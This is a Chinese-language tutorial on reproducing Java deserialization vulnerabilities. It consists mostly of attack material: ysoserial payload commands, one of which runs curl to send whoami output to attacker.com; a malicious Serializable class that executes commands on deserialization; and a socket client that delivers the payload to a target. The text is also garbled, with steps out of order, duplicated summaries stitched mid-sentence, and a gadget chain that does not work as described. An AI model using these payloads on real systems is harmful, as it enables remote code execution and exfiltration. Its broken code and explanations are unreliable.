复现java反序列化漏洞的方法
作者:白鹿 | 发布时间: | 更新时间:
Java反序列化漏洞是一种常见的安全漏洞,攻击者可以利用此漏洞执行恶意代码,从而控制目标系统。在本文中,我们将介绍如何复现Java反序列化漏洞并进行漏洞分析。
- 什么是Java反序列化漏洞
- 复现Java反序列化漏洞
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwned" > payload.bin
该命令将生成一个名为payload.bin的二进制文件,其中包含反序列化Payload。
第四步,我们将上传生成的payload.bin文件到漏洞应用程序中。该应用程序将尝试反序列化上传的文件,执行其中包含的恶意代码。
- 漏洞分析
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Method;
import java.util.HashMap;
public class Evil implements Serializable {
private void readObject(java.io.ObjectInputStream stream) throws IOException, ClassNotFoundException {
stream.defaultReadObject();
try {
Runtime rt = Runtime.getRuntime();
Process p = rt.exec("calc");
p.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
}
这个类的作用是在读取序列化数据时执行Windows计算器程序。当然,我们也可以替换成其他的恶意代码,比如下载并执行远程的恶意代码。
接下来,我们需要构造一个包含这个类的序列化数据。我们可以使用Apache Commons Collections库中的一个类,比如MapUtils。下面是一个简单的例子:
import org.apache.commons.collections4.MapUtils;
import java.util.HashMap;
public class Payload {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
map.put("test", "test");
MapUtils.lazyMap(map, new Evil());
}
}
这个类的作用是创建一个HashMap对象,并将其包装成一个懒加载的Map对象。在这个过程中,我们将恶意的Evil对象作为Map的value。这样,当反序列化这个对象时,readObject()方法就会被执行,从而实现远程代码执行的攻击效果。
第三步:发送恶意序列化数据
最后,我们需要将恶意序列化数据发送给目标应用程序。这可以通过各种方式实现,比如在网络协议中使用序列化数据、通过文件传输等等。
比如,我们可以通过网络协议发送一个序列化的HashMap对象:
import java.io.ObjectOutputStream;
import java.net.Socket;
import java.util.HashMap;
public class Exploit {
public static void main(String[] args) throws Exception {
String host = "localhost";
int port = 8080;
Socket socket = new Socket(host, port);
ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream());
HashMap map = new HashMap();
map.put("test", "test");
MapUtils.lazyMap(map, new Evil());
oos.writeObject(map);
oos.flush();
oos.close();
socket.close();
}
}
这个类的作用是创建一个Socket对象,并将恶意的HashMap对象发送给目标应用程序。当目标应用程序反序列化这个对象时,就会执行恶意代码。
总结
通过上面的步骤,我们可以成功地复现Java反序列化漏洞,并在使用ysoserial生成恶意payload之后,我们需要将其发送到目标服务器进行验证漏洞是否存在。这里我们使用Apache Tomcat 8.5.63作为测试目标。
首先,我们需要将生成的payload保存为一个文件,例如:
$ java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com:8000/?a=$(whoami)' > payload.bin
然后,我们需要启动一个HTTP服务器,用于接收Tomcat发送的请求,并返回执行结果。我们可以使用Python内置的SimpleHTTPServer模块来实现:
$ python -m SimpleHTTPServer 8000
现在,我们可以使用curl来发送一个GET请求,以触发Tomcat向我们的服务器发送数据包:
$ curl 'http://localhost:8080/manager/text/list'
我们可以在Python的控制台上看到如下输出:
$ python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [12/Mar/2022 12:14:57] "GET /?a=tomcat HTTP/1.1" 200 -
这表明Tomcat已经向我们的服务器发送了一个GET请求,并执行了我们的恶意payload。在此之后,我们可以在控制台上看到Tomcat的日志,以验证漏洞是否成功利用。如果我们看到了攻击者的IP地址,那么漏洞已经被成功利用了。
总结
Java反序列化漏洞一直以来都是一个非常危险的漏洞,可以被黑客用来执行恶意代码,甚至掌控整个系统。在本文中,我们学习了如何使用ysoserial来生成恶意payload,以及如何利用Python的SimpleHTTPServer模块来搭建一个HTTP服务器来接收Tomcat发送的数据包。通过这些步骤,我们可以轻松地验证Java反序列化漏洞是否存在于我们的目标系统中。然而,我们必须非常小心地使用这些技术,以免误伤合法用户的系统。